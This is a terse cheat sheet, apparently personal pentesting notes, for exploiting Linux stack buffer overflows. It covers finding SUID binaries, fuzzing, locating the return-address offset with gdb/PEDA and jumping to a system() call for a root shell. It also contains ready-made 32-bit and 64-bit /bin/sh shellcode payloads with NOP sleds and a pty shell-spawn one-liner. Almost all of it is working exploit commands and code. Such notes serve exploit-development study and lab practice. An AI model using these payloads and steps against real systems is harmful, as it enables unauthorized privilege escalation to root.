Linux
# Find SUID
find / -perm -u=s -type f 2>/dev/null
# Analyse
file <program>
ltrace <program>
strings <program>
checksec
sudo apt-get install gdb
ulimit -c unlimited
# if cores arent being created use below as root
echo "core" > /proc/sys/kernel/core_pattern
# Install PEDA
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
# Find program vulnerable to buffer overflow
# Create buffer
python -c 'print "A"*2000' > 2k.txt
# Pipe buffer to program
cat 2k.txt | ./vulnerableprogram
# If crashes a core should be dumped
# Analyse core
gdb -q vulnerableprogram ./core
b = breakpoint
c = continue
disas = disasemble
x/s = hexadecimal string at address
x/40wx $esp-0x200 = hexadecimal 40 words in hex of $esp register - 200 bytes
info functions
info registers
# Open Core
gcb -q vulnerableprogram ./core
# View available options
help pattern
# Create pattern with unique strings to find overflow
pattern create 2000 pattern.txt
# Run pattern without leaving gdb
run < pattern.txt
# can also do 'pattern_create 2000' which will print to screen
# can then use 'run "pattern"' to execute
# Will show the memory address that fails (e.g 0x41426e41 in ??))
# Find offset of that address within gdb
pattern offset 0x<address>
# Quit gdb
quit
# Will give us bytes for offset, create an overflow that goes to that address
python -c 'print "A"*<offsetbytes> + "BBBB"' > eip.txt
# Go back into GDB
gdb -q vulnerableprogram ./core
# Run EIP
run < eip.txt
# Should now see all BBBB so we can write to the correct location
# Quit GDB
# Open new GDB
gdb -q vulnerableprogram
# List functions within gdb
info functions
# Look for non standard functions
# Analyse them
disas <function>
e.g. disas main
# Instruction directly before system call is a string, analyse the string
# Push <address1>
# call <address2> <system@plt>
x/s <address1>
# If the string above is a call to a shell and its a suid program
# Then this function can be used for a root shell
# Write the buffer with the address of the start of the function
# This has to be little endian and is the function entry point
# In the below the entry point was 0x080484cb
python -c 'print "A"*<offsetbytes> + "\xcb\x84\x04\x08"'> root.txt
# Launch GDB
gdb -q vulnerableprogram
# Run exploit
run < root.txt
# May see shell spawn but die instantly. This is due to SDTIN Closing early.
# Can bypass with piping input to SUID program like below
(cat root.txt; cat) | ./vulnerableprogram
# This should keep it open
# If dev has been done on a copy in a writeable location, now point to live
(cat root.txt; cat) | /home/xdev/Desktop/vulnerableprogramsuid
# Prove root shell
id
whoami
# Spawn full TTY
python -c 'import pty;pty.spawn("/bin/sh")'
# Run python in GDB
run `python exploit.py`
# python script has sc and buffers / nops etc
sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
payload = "\x90"*50 # NOP Sled
payload += sc # Add shellcode
payload += "A"*(390-50-len(sc)) # Fill buffer - nop - shellcode
payload += "\xe0\xf2\xff\xbf" # EIP = 0xbffff2c0
print payload
# Above spawns a bash shell. (values change obvs)
# EIP might need changing outside of GDB due to environment variable changes.
# If so run program like below
./program `python exploit.py`
# open dump
gdb -q ./program ./core
# debug
x/40wx $esp-0x200
# Look for the old EIP and if its still valid. Choose a new one in the NOP sled
# Look into registers more
# ESP changes to RSP
# EIP changes to RIP
Code below is an example in 64bit using a stack overflow to call /bin/sh
from struct import pack
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xfc\x4e\xe5\x0e\x7e\x6b\xa5"
buf += "\x19\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x96\x75\xbd\x97\x36\xd0\x8a\x7b\x95\x20\xca\x7d\x16"
buf += "\x6b\xf6\x51\x75\xa9\x8d\x23\x1d\x6b\xa5\x51\x75\xa8"
buf += "\xb7\xe6\x76\x6b\xa5\x19\xd3\x2c\x8c\x60\x51\x18\xcd"
buf += "\x19\xaa\x19\xad\x87\x98\x64\xa0\x19"
payload = "\x90"*40 #NOP Sled
payload += buf # Shellcode
payload += "A"*(128-len(buf)) #Padding to fill out buffer
payload += pack("<Q", 0x7fffffffe418) #Setting return address to one in NOP sled
print payload
Last modified 2yr ago